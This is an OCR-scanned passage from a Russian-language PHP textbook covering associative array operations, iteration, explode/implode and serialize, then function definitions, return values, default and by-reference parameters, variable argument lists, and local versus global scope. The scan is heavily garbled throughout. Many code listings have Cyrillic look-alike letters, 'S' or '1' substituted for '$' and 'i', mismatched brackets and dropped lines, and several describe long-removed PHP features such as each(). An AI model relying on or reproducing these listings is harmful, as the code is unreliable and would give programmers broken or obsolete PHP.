сиве, и на том же самом месте.
Последний факт может слегка озадачить. Казалось бы, элементы массива $ь
по логике должны заменить элементы из $а. Однако все происходит наобо-
рот. Окончательно выбивает из колеи следующий пример:

$а=аггау('а'=>10, 'Ь'=>20) ;
$b=array('Ь'=>'new? ' ) ;
$a+=$b;

Мы-то ожидали, что оператор += обновит элементы $а при помощи элемен-
тов $ь. А напрасно . В результате этих операций значение $а не изменится*.
Если вы не верите своим глазам, можете проверить.
Так как же нам все-таки обновить элементы в массиве $а? Получается,
только прямым способом — с помощью цикла (на самом деле, в РНР4 до-
бавлена специальная функция array_merge о , лишенная указанного недос-
татка — о ней мы поговорим в главе 13):

foreach ($b as $k=>$v) $a[$k]=$v ;

Что поделать, так уж распорядились разработчики РНР.
Еще несколько слов насчет операции слияния массивов. Цепочка

$z=$a+$b+$c+...и т . д.;

эквивалентна

$z=$a; $z+=$b; $z+=$c; . . . и т . д .

Как нетрудно догадаться, оператор += для массивов делает примерно то же,
что и оператор += для чисел, а именно — добавляет в свой левый операнд
элементы, перечисленные в правом операнде-массиве, если они еще не со-
держатся в массиве слева.

Итак, в массиве никогда не может быть двух элементов с одинаковыми
ключами, потому что все операции, применимые к массивам, всегда кон-
тролируют, чтобы этого не произошло. Впрочем, на мой взгляд, данное

----------------------- Page 190-----------------------
Глава 10. Ассоциативные массивы 175

свойство вовсе не достоинство, а недостаток — вполне можно было бы по-
зволить оператору + оставлять одинаковые ключи, а всем остальным — за-
претить это делать. Что ж, разработчики РНР "пошли другим путем"...

Внимание

Так как списки являются тоже ассоциативными массивами, оператор + будет
работать с ними неправильно! Например, в результате слияния списков
аггау(10,20) И array(100,200 , 300} получится список array(10,20 , 300 ) —
всего из трех элементов! Согласитесь, ведь это совсем не то, что вы ожидали
увидеть, не правда ли?..

Косвенный перебор элементов массива

Довольно часто при программировании на РНР нам приходится перебирать
все без исключения элементы некоторого массива. Если наш массив — спи-
сок, то эта задача, как мы уже знаем, не будет особенно обременительной:

// Пусть $Names — список имен . Распечатаем их в столбик

for($i=0; $i<count(SNames) ; $i++)

echo SNames[$i]."\n";

Я стараюсь везде, где можно, избегать помещения имени переменной-
массива в кавычки — например, предыдущий пример я не пишу вот так:

for ($1=0; $i<count($Names); $i++)

echo "$Names[$i]\n";

Дело в том, что это, пожалуй, единственный способ, который совместим с
РНР версии 3. А что касается четвертой версии, то мы спокойно можем по-
мещать массивы в строки, заключив их в фигурные скобки вместе с симво-
лом $:

$Names=array (

array('name'=>'Вася', 'age'=>20) ,

array С name'=>'Билл' , 'age'=>40)

};

for($1=0; $i<count($Names) ; $i++)

echo "($Names[$i] ['age']}\n";

Давайте теперь предположим, что массив $Names ассоциативный: его клю-
чи — имена людей, а значения, сопоставленные ключам — например, воз-
раст этих людей. Для перебора такого массива можно воспользоваться кон-
струкцией наподобие следующей:

for(Reset($Names); ($k=key($Names)); Next($Names) )

echo "Возраст $k — ($Names[$k]} лет\п";

----------------------- Page 191-----------------------
у 76 Часть III. Основы языка РНР

Эта конструкция опирается на еще одно свойство ассоциативных массивов в
РНР. А именно, мало того, что массивы являются направленными, в них
есть еще и такое понятие, как текущий элемент. Функция Reset о просто
устанавливает этот элемент на первую позицию в массиве. Функция key о
возвращает ключ, который имеет текущий элемент (если он указывает на
конец массива, возвращается пустая строка, что позволяет использовать вы-
зов key о в контексте второго выражения for) . Ну а функция Next о просто
перемещает текущий элемент на одну позицию вперед.
На самом деле, две простейшие функции, — Reset ( ) и Next ( ) , — помимо
выполнения своей основной задачи, еще и возвращают некоторые значения,
а именно:
П функция Reset о возвращает значение первого элемента массива (или
пустую строку, если массив пуст);
П функция Next ( ) возвращает значение элемента, следующего за текущим
(или пустую строку, если такого элемента нет).
Иногда (кстати, гораздо реже) бывает нужно перебрать массив с конца, а не
с начала. Для этого воспользуйтесь такой конструкцией:

for(End($Names); ($k=key($Names)); Prev($Names))

echo "Возраст $k — {$Names[$k] } лет\п";

По контексту несложно сообразить, как это работает. Функция End ( ) уста-
навливает позицию текущего элемента в конец массива, a Prev ( ) передвига-
ет ее на один элемент назад.
И еще. В РНР имеется функция current ( ) . Она очень напоминает key ( ) ,
только возвращает не ключ, а величину текущего элемента (если он не ука-
зывает на конец массива).

Недостатки косвенного перебора

Давайте теперь поговорим о достоинствах и недостатках такого вида перебо-
ра массивов. Основное достоинство - "читабельность" и ясность кода, а
также то, что массив мы можем перебрать как в одну, так и в другую сторо-
ну. Однако существуют и недостатки.

Вложенные циклы

Первый недостаток довольно фундаментален: мы не можем одновременно
перебирать массив в двух вложенных циклах или функциях. Причина впол-
не очевидна: второй вложенный for "испортит" положение текущего эле-
мента у первого for'a . К сожалению, эту проблему никак нельзя обойти
(разве что сделать копию массива, и во внутреннем цикле работать с ней, но
это не очень-то красиво). Однако практика показывает, что такие переборы
встречаются крайне редко.

----------------------- Page 192-----------------------
Глава 10. Ассоциативные массивы 177

Нулевой ключ

А что, если в массиве встретится ключ 0 (хотя для массивов имен это, со-
гласитесь, маловероятно)? Давайте еще раз посмотрим на первый цикл пе-
ребора:

for(Reset($Names); ($k=key($Names)); Next($Names))

echo "Возраст $k - {$Names[$k] } лет\п" ;

В этом случае выражение ($k=key ( $ N a m e s ) ) , естественно, будет равно нулю,
и цикл оборвется, чего бы нам совсем не хотелось.

Именно по этим причинам разработчики РНР придумали другой, хотя и
менее универсальный, но гораздо более удобный метод перебора массивов,
о котором сейчас и пойдет речь.

Прямой перебор массива

В отличие от косвенного перебора (когда сначала вычисляется очередной
ключ, а уж затем по нему косвенно находится значение элемента массива),
прямой перебор лаконичнее и гораздо более прост. Идея метода заключает-
ся в том, чтобы сразу на каждом "витке" цикла одновременно получать и
ключ, и значение текущего элемента.

Классический перебор

Давайте опять вернемся к нашему примеру, в котором массив $Names хранил
связь имен людей и их возрастов. Вот как можно перебрать этот массив при
помощи прямого перебора:

for(Reset($Names); list($k,$v)=each($Names); /*пусто*/)

echo "Возраст $k — $v\n";

В самом начале заголовка цикла мы видим нашу старую знакомую Reset ( ) .
Дальше переменным $k и $v присваивается результат работы функции
each ( ) . Третье условие цикла попросту отсутствует (чтобы это подчеркнуть,
я включил на его место комментарий).

Что делает функция each ( ) ? Во-первых, возвращает небольшой массив (я
бы даже сказал, список), нулевой элемент которого хранит величину ключа
текущего элемента массива $Names, а первый — значение текущего элемен-
та. Во-вторых, она продвигает указатель текущего элемента к следующей
позиции. Следует заметить, что если следующего элемента в массиве нет, то
функция возвращает не список, a false . Именно поэтому она и размещена
в условии цикла for . Становится ясно, почему мы не указали третий блок
операторов в цикле for : он просто не нужен , ведь указатель на текущий
элемент и так смещается функцией each ( ) .

----------------------- Page 193-----------------------
178 Часть III Основы языка PHP

Перебор в стиле РНР 4

Прямой перебор массивов применялся столь часто, что разработчики РНР
решили в четвертой версии языка добавить специальную инструкцию пере-
бора массива — foreach . Мы уже рассматривали ее ранее. Вот как с ее по-
мощью можно перебрать и распечатать наш массив людей:

foreach($Names as $k=>$v) echo "Возраст $k — $v\n";

Просто, не правда ли? Рекомендую везде, где не требуется совместимость с
РНР третьей версии, использовать именно этот способ перебора, поскольку
он работает с максимально возможной скоростью — даже быстрее, чем пе-
ребор списка при помощи for и числового счетчика.

Замечание

Есть и еще одна причина предпочесть этот вид перебора "связке" цикла for с
each ( ) . Дело в том, что при применении foreach мы указываем имя переби-
раемого массива $Names только в одном месте, так что когда вдруг потребу-
ется это имя изменить, нам достаточно будет поменять его только один раз.
Наоборот, использование Reset ( ) и each о заставит нас в таком случае из-
менять название переменной в двух местах, что потенциально может привести
к ошибке. Представьте, что произойдет, если мы случайно изменим операнд
each ( ) , но сохраним параметр Reset ( ) !

Списки и строки

Есть несколько функций, которые чрезвычайно часто используются при про-
граммировании сценариев. Среди них — функции для разбиения какой-либо
строки на более мелкие части (например, эти части разделяются в строке ка-
ким-то специфическим символом типа |), и, наоборот, слияния нескольких
небольших строк в одну большую, причем не впритык, а вставляя между ни-
ми разделитель. Первую из этих возможностей реализует стандартная функ-
ция explode ( ) , а вторую — implode ( ) . Рекомендую обратить особое внимание
на указанные функции, т. к. они применяются очень часто.

Функция explode ( ) имеет следующий синтаксис:

list explode(string $token , string $Str [ , int $limit])

Она получает строку, заданную в ее втором аргументе, и пытается найти в
ней подстроки, равные первому аргументу. Затем по месту вхождения этих
подстрок строка "разрезается" на части, помещаемые в массив-список, кото-
рый и возвращается. Если задан параметр $iimit , то учитываются только
первые ($iimit-i ) участков "разреза". Таким образом, возвращается список
из не более чем $ limit элементов. Это позволяет нам проигнорировать воз-

----------------------- Page 194-----------------------
Глава 10. Ассоциативные массивы 179

можное наличие разделителя в тексте последнего поля, если мы знаем, что
всего полей, скажем, 6 штук. Вот пример:

$st="45972193611 Иванов|Иван|40|ivan@ivanov.com|Текст , содержащий (|) !";

$A=explode("I",$st,6); // Мы знаем , что там только 6 полей !

// теперь $А[0]="Иванов" , .. . $А[5]= "Текст , содержащий (I)! "

list($Surname,$Name,$Age,$Email,$Tel)=$A; // распределили по переменным

Конечно, строкой разбиения может быть не только один символ, но и не-
большая строка. Не перепутайте только порядок следования аргументов при
вызове функции!
Функция implode о и ее синоним join о производят действие, в точности
обратное вызову explode ( ) .

string implode(string $glue , list $List) или

string join(string $glue , list $List )

Они берут ассоциативный массив (обычно это список) $List , заданный в ее
первом параметре, и "склеивают" его значения при помощи "строки-клея"
$glue во втором параметре. Примечательно , что вместо списка во втором
аргументе можно передавать любой ассоциативный массив — в этом случае
будут рассматриваться только его значения .
Рекомендую вам чаще применять функции implode о и explode о, а не пи -
сать самостоятельно их аналоги. Работают они очень быстро.

Сериализация

Возможно, после прочтения описания функций implode о и explode о вы об-
радовались, насколько просто можно сохранить массив, например, в файле, а
затем его оттуда считать и быстро восстановить. Если вас посетила такая мысль,
то, скорее всего, вы уже успели в ней разочароваться: во-первых, таким образом
можно сохранять только массивы-списки (потому что ключи в любом случае
теряются), а во-вторых, ничего не выйдет с многомерными массивами.
Давайте теперь предположим , что нам все-таки нужно сохранить какой-то
массив (причем неизвестно заранее, сколько у него измерений) в файле,
чтобы потом, при следующем запуске сценария , его аккуратно загрузить и
продолжить работу. Можно, конечно, начинать писать универсальную ре-
курсивную функцию для упаковки массива в строку (ведь в файлы можно
писать только строки), и еще одну, которая будет эту строку разбирать и
восстанавливать на ее основе массив в исходном виде.

^ Примечание ^Д

Рекомендую проделать это в качестве упражнения, заодно постарайтесь до-
биться, чтобы упакованные данные занимали минимум объема. Это пригодится
вам в будущем, при работе с Cookies.

7 Зак, 699

----------------------- Page 195-----------------------
180 Часть III. Основы языка PHP

Однако вскоре вы поймете, что все не так просто в РНР, в котором работа
со ссылочными переменными очень и очень ограничена. Особенно будет
тяжело с функцией распаковки строки.
И тут нам на помощь опять приходят разработчики РНР. Оказывается, обе
функции давным-давно реализованы, причем весьма эффективно со стороны
быстродействия (но, к сожалению, непроизводительно с точки зрения объема
упакованных данных). Называются они, соответственно, serialize о и
Unserialize() .
Функция serialize о возвращает строку, являющуюся упакованным экви-
валентом некоего объекта $obj, переданного во втором параметре.

string Serialize(mixed $0bj)

При этом совершенно не важно, что это за объект: массив, целое число. Да
что угодно. Например:
$A=array ( "a"-->"aa" , "b"=>"bb" , " c " = > a r r a y ( " x " = > " x x " ) ! ;
$st=Senaiize($A) ;
echo $st;

// выведется что-то типа нечто :

//
а:2:{s:1:"а";s:2:"аа";s:1:"b";s:2:"bb";s:1:"с";а:1:{s:1:"х";s:2:"хх";}}

Вообще-то, я не уверен, что в будущих версиях РНР такой формат "упа-
ковки" сохранится неизменным, хотя это очень и очень вероятно.
Функция Unserialize о, наоборот, принимает в лице своего параметра $st
строку, ранее созданную при помощи serializ e о, и возвращает целиком
объект, который был упакован.

mixed Unserialize(string $st)

Например:

$a=array(1,2,3);

$s=Serialize($a);
$a="bogus";

echo count($a); // выводит 1

$a=Unserialize($s);

echo count($a) ; // выводит 3

Еще раз отмечу: сериализовать можно не только массивы , но и вообще что
угодно. Однако в большинстве случаев все-таки используются массивы . Ме-
ханизм сериализации часто применяется также и для того, чтобы сохранить
какой-то объект в базе данных, и тогда без сериализации практически не
обойтись.

----------------------- Page 196-----------------------
Глава 11

Функции и области
видимости

По синтаксису описания функций РНР, на мой взгляд, довольно близок к
идеальной концепции , которую многие программисты лелеют в своем вооб-
ражении . Вот несколько основных достоинств этой концепции :

П вы можете использовать параметры по умолчанию (а значит , функции с
переменным числом параметров);

П области видимости переменных внутри функций представляются в древо-
видной форме, как и в других языках программирования;

П существует удобная инструкция return , которой так не хватает в
Паскале;

П тип возвращаемого значения может быть любым;

П как мы увидим дальше, функции можно использовать не только по их
прямому назначению, но и для автоматизации создания "библиотекарей" и
даже написания своего собственного интерфейса библиотечных файлов.

К сожалению , разработчики РНР не предусмотрели возможность создания
локальных функций (то есть одной внутри другой), как это сделано, скажем,
в Паскале или в Watcom C++. Однако кое-какая эмуляция локальных
функций все же есть: если функцию в ( ) определить в теле функции д о , то
она, хоть и не став локальной, все же будет "видна" для программы ниже
своего определения. Замечу для сравнения, что похожая схема существует и
в языке Perl. Впрочем, как показывает практика программирования на Си
(вот уже 30 лет), это не такой уж серьезный недостаток.

В системе определения функций в РНР есть и еще один небольшой недо-
чет, который особенно неприятен тем, кто до этого программировал на
других языках. Дело в том, что все переменные, которые объявляются и ис-
пользуются в функции, по умолчанию локальны для этой функции . При
этом существует только один (и при том довольно некрасивый) способ объ-
явления глобальных переменных — инструкция global (на самом деле есть
и еще один, через массив $GLOBALS, но об этом чуть позже). С одной сторо-
ны, это повышает надежность функций в смысле их независимости от ос-
новной программы, а также гарантирует, что они случайно не изменят и не

----------------------- Page 197-----------------------
182 Часть III. Основы языка PHP

создадут глобальных переменных . С другой стороны, разработчики РНР
вполне могли бы предугадать нужность инструкции , по которой все пере-
менные функции становились бы по умолчанию глобальными — это суще-
ственно упростило бы программирование сложных сценариев.

Пример функции

Как водится, сразу начну с примера . Предположим, нам необходимо в про-
грамме очень часто находить в массиве-списке наибольший элемент, кото-
рый в то же время меньше какого-то, наперед заданного числа. А именно ,
нас интересует его номер в массиве (если такого числа в массиве нет, то
номер полагается равным -1). Напишем для этой цели функцию (такое опи -
сание называется определением функции, и оно, конечно, должно быть един-
ственным в пределах сценария) .

! Листинг 11.1. Пример функции

function GetMaxNum($arr , $max="")
{ // проходимся по всем элементам массива
for ($i=0 , $n=-l; $i<count ($arr ) ; $i++) {
// если этот элемент нам пока подходит, запоминаем его
if ( ( llsset (Sm) | | $arr[$i]>$m ) & & ($max==="" | | $arr [$i] <$riax) ) {
// сюда мы попадаем, когда очередной элемент больше текущего,
// либо же текущего элемента еще не существует (первый проход)
$m=$arr[$i]; // запоминаем текущий элемент
$n=$i; // запоминаем его номер

return $n;

В отличие от других языков программирования , функцию можно задавать
не только в определенном месте программы , но и прямо среди других опе-
раторов. Например, вполне можно было бы поместить нашу функцию
GetMaxNumO прямо в середину кода, скажем, так:
echo "Программа...";
function GetMaxNum($arr,$max )
{ .. . тело функции .. .

)

echo "Программа продолжается!" ;

----------------------- Page 198-----------------------
Глава 11. Функции и области видимости 183

Замечание

При таком подходе транслятор, дойдя до определения функции, просто прове-
рит его корректность и оттранслирует во внутреннее представление, но не бу-
дет генерировать код для выполнения, а сразу переключится на следующие за
телом функции команды. Только потом, при вызове функции, интерпретатор
начнет исполнять ее команды...

Итак, мы создали функцию с именем GetMaxNum o и двумя параметрами ,
первый из которых рассматривается ей как массив , а второй — как вещест-
венное число.

Внимание

На самом деле на этапе создания функции еще никаких предположений о ти-
пах параметров не строится. Однако попробуйте нашей функции вместо мас-
сива в первом аргументе передать число — интерпретатор "заругается", как
только выполнение дойдет до строчки с $arr [$i] , и скажет, что "переменная
не является массивом".

Алгоритм работы функции таков: в цикле анализируем очередной элемент
на предмет "максимальности" : если он больше текущего максимального
элемента, но меньше $та.ч, он сам становится текущим максимумом , а его
положение запоминается в $п. (Обратите внимание , что в описании функ-
ции параметр $тах задается в виде $тах="" . Это означает, что если при вы-
зове он будет опущен , то функция получит пустую строку в $тах.) После
окончания цикла в $п окажется номер такого элемента (либо число -1, ко-
торое мы присвоили $п в начале). Его-то мы и возвращаем в качестве зна-
чения функции оператором return .

Ну вот, теперь в программе ниже описания функции можно написать:

$а=аггау(10,20,80,35,22,57);

$m=GetMaxNum($a,50); // теперь $т=3, т . е . $а[$т]=35

( Замечание ^

В действительности, поскольку фаза трансляции и исполнения в РНР разделе-
ны, мы можем применять вызовы функции еще до того, как она была описана.
Однако это работает, конечно же, только в том случае, когда в момент интер-
претации вызова функции ее код будет уже оттранслирован (например, вызов и
описание функции происходят в одном и том же файле). Тем не менее, не со-
ветую вам злоупотреблять данной возможностью — лучше всегда поступать
так, как это принято в Паскале: вызывать функции только после того, как они
будут определены.

Зачем может понадобиться функция GetMaxNum o в реальной жизни ? На-
пример, для сортировки массива в порядке убывания с одновременным
получением уникальных элементов . Конечно , это будет очень неопти-

----------------------- Page 199-----------------------
184 ^ Часть III. Основы языка РНР

мальный алгоритм, но для тренировочных целей он нам вполне подойдет
(листинг 11.2):

; Листинг 11.2. Сортировка с применением GetMaxNumO
• i , j

function MySort($Arr )

{ $m= GetMaxNum($Arr)+1 ; // число , на 1 большее максимума в массиве

while(($n=GetMaxNum($Arr,$m))!=-!)

$New[j=$m=$Arr[$n]; // добавляем очередной максимальный элемент

return $New ;

}

// Пример вызова :

$Sorted=MySort(array(l,2,5,2,4,7,3,7,8));

// Теперь $Sorted===array(8,7,5,4 , 3,2 , 1)

Приведенная функция не изменяет исходный массив, а возвращает новый.
В силу устройства функции GetMaxNumO в результирующий массив будут
помещены только уникальные элементы из $АГГ , отсортированные в поряд-
ке убывания.

( Замечание ^

Функцию MySort () можно ускорить примерно в 2 раза, если после каждой ите-
рации удалять из массива $АГГ обработанный элемент при помощи unset ( ) .
Впрочем, это не так интересно, как может показаться.

Общий синтаксис
определения функции

В общем виде синтаксис определения функции таков:

function имя_функции(арг![=зн1] , арг2[=зн2] , .. . аргМ[=знМ])

{ операторы_тела_функции ;

}

Имя функции должно быть уникальным с точностью до регистра букв. Это
означает, что, во-первых, имена MyFunction , myfunction и даже MyFuNcTion
будут считаться одинаковыми, и, во-вторых, мы не можем переопределить
уже определенную функцию (стандартную или нет — не важно), но зато
можем давать функциям такие же имена, как и переменным в программе
(конечно, без знака $ в начале). Список аргументов, как легко увидеть, со-
стоит из нескольких перечисленных через запятую переменных, каждую из
которых мы должны будем задать при вызове функции (впрочем, когда для

----------------------- Page 200-----------------------
Глава 11. Функции и области видимости 185

этой переменной присвоено через знак равенства значение по умолчанию
(обозначенное =знм), ее можно будет опустить; см. об этом чуть ниже). Ко-
нечно, если у функции не должно быть аргументов вовсе (как это сделано у
функции time ( ) ) , то следует оставить пустые скобки после ее имени, на-
пример:

function SimpleFunction{) { ... }

В фигурные скобки заключается тело функции. В нем могут быть любые
операторы, включая даже операторы определения других функций (правда,
эти "другие функции" не будут локальными, как в Паскале, а станут далее
"видны" для всей программы, но только с того момента, как до их описания
дойдет управление — об этом мы еще поговорим). Если функция должна
возвращать какое-то значение, что среди них должен встретиться оператор
return, который мы сейчас рассмотрим. Если же она должна отработать без
возврата значений (то есть, выражаясь в терминах Паскаля, это не функция,
а процедура), то оператор return можно и не указывать (или указывать без
задания возвращаемого значения).

Инструкция return

Синтаксис оператора return абсолютно тот же, что и в Си, за исключением
одной очень важной детали. Если в Си функции очень редко возвращают
большие объекты (например, структуры), а массивы они не могут возвратить
вовсе (это явный прокол в концепции Си), то в РНР можно использовать
return абсолютно для любых объектов (какими бы большими они ни были),
причем без заметной потери быстродействия. Вот пример простой функции,
возвращающей квадрат своего аргумента:

function MySqrt($n )

{ return $n*$n;

}
echo MySqrt(4) ; // выводит 16

Сразу несколько значений функции, разумеется, возвратить не могут. Одна-
ко, если это все же очень нужно, то можно вернуть ассоциативный массив
или же список, например так (листинг 11.3):

; Листинг 11.3. Возвращение массива

function silly()

{ return array(1,2,3);

}
// присваивает массиву значение аггау(1,2,3)

$arr=Silly();

----------------------- Page 201-----------------------
186 Часть III. Основы языка PHP

// присваивает переменным $а, $Ь , $с первые значения из списка

list($a,$b,$c)=Silly();

В этом примере использован оператор list о, который мы уже рассматри-
вали.
Если функция не возвращает никакого значения, т. е. инструкции return в
ней нет, то считается, что функция возвратила ложь (то есть, false) . Все же
часто лучше вернуть fals e явно (если только функция не объявлена как
процедура, или void-функция по Си-терминологии), например , задействуя
return false , потому что это несколько яснее.

Параметры по умолчанию

Часто бывают такие случаи, что у некоторой разрабатываемой функции
должно быть довольно много параметров, причем некоторые из них будут
задаваться совершенно единообразно. Например , мы пишем функцию для
сортировки массива. Тогда, кроме очевидного параметра — массива — хоте-
лось бы также задавать и второй параметр, который бы указывал: сортиро-
вать ли в убывающем или в возрастающем порядке. При этом, скажем, мы
знаем, что чаще всего придется сортировать в порядке убывания. В этом
случае мы можем оформить нашу функцию так:

function MySort(&$Arr , $NeedLoOrder=l )

{ .. . сортируем в зависимости от $NeedLoOrder.. .

}

Теперь, имея такую функцию , можно написать в программе :

MySort($my_array,0) ; // сортирует в порядке возрастания

MySort($my_array) ; // второй аргумент задается по умолчанию !

То есть, мы можем уже вообще опустить второй параметр у нашей функции,
что будет выглядеть так, как будто мы его задали равным 1. Как видно, зна-
чение по умолчанию для какого-то аргумента указывается справа от него
через знак равенства. Заметьте, что значения аргументов по умолчанию
должны определяться справа налево, причем недопустимо, чтобы после лю-
бого из таких аргументов шел обычный "неумолчальный" аргумент. Вот, на-
пример, неверное описание:

// Ошибка !

function MySort($NeedLoOrder=l , &$Arr )

f

... сортируем в зависимости от SNeedLoOrder.. .

}

MySort(,$my_array) ; // Ошибка ! Это вам не Бейсик !

----------------------- Page 202-----------------------
Глава 1 1. Функции и области видимости _ 187

Передача параметров по ссылке

Давайте рассмотрим механизм, при помощи которого функции передаются
ее аргументы. Пусть, например, у нас есть такая программа:

function Test($a)

{ echo "$a\n";

$a++;

echo "$a\n";

$num=10;

Test ($num) ;

echo $num ;

Что происходит перед началом работы функции Test о (которая, кстати, не
возвращает никакого значения, т. е. является в чистом виде подпрограммой
или процедурой) — как выражаются программисты на Паскале? Все начина-
ется с того, что создается переменная $а, локальная для данной функции (про
локальные переменные мы поговорим позже), и ей присваивается значение 10
(то, что было в $num). После этого значение 10 выводится на экран, величина
$а инкрементируется, и новое значение (И) опять печатается. Так как тело
функции закончилось, происходит возврат в вызвавшую программу. А теперь
вопрос: что будет напечатано при последующем выводе переменной $num?
А напечатано будет 10 (и это несмотря на то, что в переменной $а до возврата
из функции было 11!) Ясно, почему это происходит: ведь $а — лишь копия
$num, а изменение копии, конечно, никак не отражается на оригинале.

В то же время, если мы хотим, чтобы функция имела доступ не к величине, а
именно к самой переменной (переданной ей в параметрах), достаточно при пе-
редаче аргумента функции перед его именем поставить & (листинг 11.4):

! Листинг 11.4. Передача параметров по ссылке (первый способ)

function Test($a )

{ echo "$a\n" ;

$a++;

echo "$a\n" ;

}

$num=10; // $num=10

Test(S$num); // а теперь $num=ll !

echo $num; // выводит 11 !

----------------------- Page 203-----------------------
188 _ Часть III. Основы языка PHP

Такой способ передачи параметров исторически называется "передачей по
ссылке", в этом случае аргумент не является копией переменной, а "ссы-
лается" на нее. В седьмой главе мы уже имели дело со ссылками. Вы можете
заметить, что передача параметра по ссылке полностью соответствует син-
таксису задания ссылочной переменной в РНР.
Чтобы не забывать каждый раз писать & перед переменной, передавая ее.
функции, существует и другой, более привычный для программистов на
Си++ синтаксис передачи по ссылке. А именно, можно символ & перенести
прямо в заголовок функции, вот так (листинг 11.5):

| Листинг 11.5. Передача параметров по ссылке (второй способ)

function Test(S$a )

{ echo "$a\n";

$a++;

echo "$a\n";

$num=10; // $num=10

Test{$num); // а теперь $num=ll !

echo $num ; // выводит 11 !

Советую вам, если вы абсолютно точно уверены в необходимости передачи
параметра именно по ссылке, использовать именно этот синтаксис, т. к. он
значительно более "прозрачен" и, к тому же, убережет вас от множества
ошибок, связанных с пропуском & в программе.

С~ Замечание ^

Теперь, если вы в программе запустите функцию Test () , передав ей в парамет-
рах не переменную (или ячейку массива), а непосредственное значение
(например, константу 100), это у вас не получится: РНР выведет сообщение об
ошибке. Таким образом, в качестве параметров, передаваемых по ссылке, можно
задавать только переменные, но не непосредственные значения.

Переменное число параметров

Как мы уже знаем, функция может иметь несколько параметров, заданных
по умолчанию. Они перечисляются справа налево, и их всегда фиксирован-
ное количество. Однако иногда такая схема нас устроить не может. Напри-
мер, пусть мы захотели написать функцию в стиле echo, т. е., функцию , ко-
торая принимает один или более параметров (сколько именно — неизвестно
на этапе определения функции). Пусть она должна вывести эти параметры
"лесенкой" - каждый следующий на новой строке с отступом от предыду-
щего (согласен, пример немного надуман, но все же вполне подходит для

----------------------- Page 204-----------------------
Глава 11. Функции и области видимости 189

иллюстрации функций с переменным количеством параметров). Вот как мы
можем это сделать (листинг 11.6):

Листинг 11.6. Переменное число параметров функции

function myecho ( )

( for($i=0; $i<func_num_args (}

for($j=0; $j<$i ; $j++) echo "Snbsp;"; // выводим отступ

echo func_get_arg($i) . "<br>\n"; // выводим элемент

// отображаем строки "лесенкой"

myecho ("Меркурий" , "Венера" , "Земля", "Марс");

Обратите внимание на то, что при описании myecho ( ) мы указали пустые
скобки в качестве списка параметров, словно функция не получает ни одного
параметра. На самом деле в РНР при вызове функции можно указывать пара-
метров больше, чем задано в списке аргументов — в этом случае никакие пре-
дупреждения не выводятся (но если фактическое число параметров меньше,
чем указано в описании, РНР выдаст сообщение об ошибке). "Лишние" пара-
метры как бы игнорируются, в результате пустые скобки в myecho ( ) позволя-
ют нам в действительности передать ей сколько угодно параметров.

Для того чтобы все же иметь доступ к "проигнорированным" параметрам, су-
ществуют три встроенные в РНР функции, которые я сейчас подробно опишу.

О int f unc_num_args ( )

Возвращает общее число аргументов, переданных функции при вызове.

П mixed func_get_arg (int $num)

Возвращает значение аргумента с номером $num, заданного при вызове
функции. Нумерация, как всегда, отсчитывается с нуля.

П list func_get_args ( )

Возвращает список всех аргументов, указанных при вызове функции.
Думаю, что применение этой функции оказывается практически всегда
удобнее, чем первых двух.

Перепишем наш пример с применением последней функции (листинг 11.7):

| Листинг 11.7. Использование f uct_get_args ( )

function myecho ( )

{ foreach (func_get_args () as $v) {

for($j=0; $j<9$i ; $j++) echo "Snbsp;";

echo "$v<br>\n";

----------------------- Page 205-----------------------
190 Часть III. Основы языка PHP

// выводим строки "лесенкой"

myecho ("Меркурий" , "Венера" , "Земля", "Марс");

Мы используем здесь цикл foreach для перебора аргументов, а также опера-
тор отключения ошибок @, чтобы РНР не "ругался" на то, что переменная $1
не определена при первом "обороте" цикла .

Локальные переменные

Наконец-то мы подошли вплотную к вопросу о "жизни и смерти" перемен-
ных. Действительно, во многих приводимых выше примерах мы рассматри-
вали аргументы функции (передаваемые по значению, а не по ссылке) как
некие временные объекты, которые создаются в момент вызова и исчезают
после окончания функции. Например (листинг 11.8):

: Листинг 11.8. Локальные переменные (параметры)

$а=100; // Глобальная переменная , равная 100

function Test($a )

{ echo $a; // выводим значение параметра $а

// Этот параметр не имеет к глобальной $а никакого отношения !

$а++; // изменяется только локальная копия значения , переданного в $а

}

Test(l); // выводит 1

echo $a; // выводит 100 — глобальная $а , конечно , не изменилась

В действительности такими же свойствами будут обладать не только аргу-
менты, но и все другие переменные, инициализируемые или используемые
внутри функции. Вот пример (листинг 11.9):

; Листинг 11.9. Локальные переменные

function Silly( )

{ $i=rand() ; // записывает в $i случайное число

echo Si ; // выводит его на экран

// Эта $1 не имеет к глобальной $1 никакого отношения !

)

for($i=0; $i!=10; $i++) Silly О;

----------------------- Page 206-----------------------
Глава 11. Функции и области видимости 191

Здесь переменная $i в функции будет не той переменной $1, которая ис-
пользуется в программе для организации цикла. Поэтому, собственно, цикл
и проработает только 10 "витков", напечатав 10 случайных чисел (а не будет
крутиться долго и упорно , пока "в рулетке" функции rand ( } не выпадет 10.

Собственно говоря, это нас устраивает. Действительно, мало ли какие имена
переменных использует функция для своих личных целей... Какое до этого
дело программе (которая вообще может быть написана другим человеком)?
Вот и получается, что каждая функция - "узник" в своем тесном мирке,
живущий и обменивающийся с "окружающим миром" через свои параметры
и возвращаемое значение .

Глобальные переменные

Если вы, прочитав последние строки, уже начали испытывать сочувствие к
функциям в РНР (или, если вы прикладной программист, сочувствие к раз-
работчикам РНР), то спешу вас заверить: разумеется, в РНР есть способ,
посредством которого функции могут добраться и до любой глобальной пе-
ременной в программе (не считая, конечно, передачи параметра по ссылке).
Однако для этого они должны проделать определенные действия, а именно:
до первого использования в своем теле внешней переменной объявить ее
"глобальной" (листинг 11.10):

I Листинг 11.10. Использование global

function Silly( )

{ global $i;

$i=rand();

echo $i;

}

for($i=0 ; $i!=10 ; $i++) Silly() ;

Вот теперь-то переменная $i будет везде едина: что в функции, что во внешнем
цикле (для последнего это приведет к немедленному его "зацикливанию", во
всяком случае, на ближайшие несколько минут, пока rand ( ) не выкинет 9).
А вот еще один пример, который показывает удобство использования гло-
бальных переменных внутри функции (листинг 11.11):

| Листинг 11.11. Пример функции
I -

$Monthes[1]="Январь";

$Monthes[2]="Февраль";

----------------------- Page 207-----------------------
192 Часть III. Основы языка PHP

... и т . д .
$Мог±пез[12]="Декабрь";

// Возвращает название месяца по его номеру. Нумерация начинается с 1!
function GetMonthName ($n)
{ global $Monthes ;
return $Monthes [$n] ;

echo GetMonthName (2) ; // выводит "Февраль "

Согласитесь, массив $Monthes , содержащий названия месяцев, довольно
объемист. Поэтому описывать его прямо в функции было бы, мягко говоря,
неудобно. В то же время функция GetMonthName ( ) представляет собой до-
вольно преемлемое средство для приведения номера месяца к его словесно-
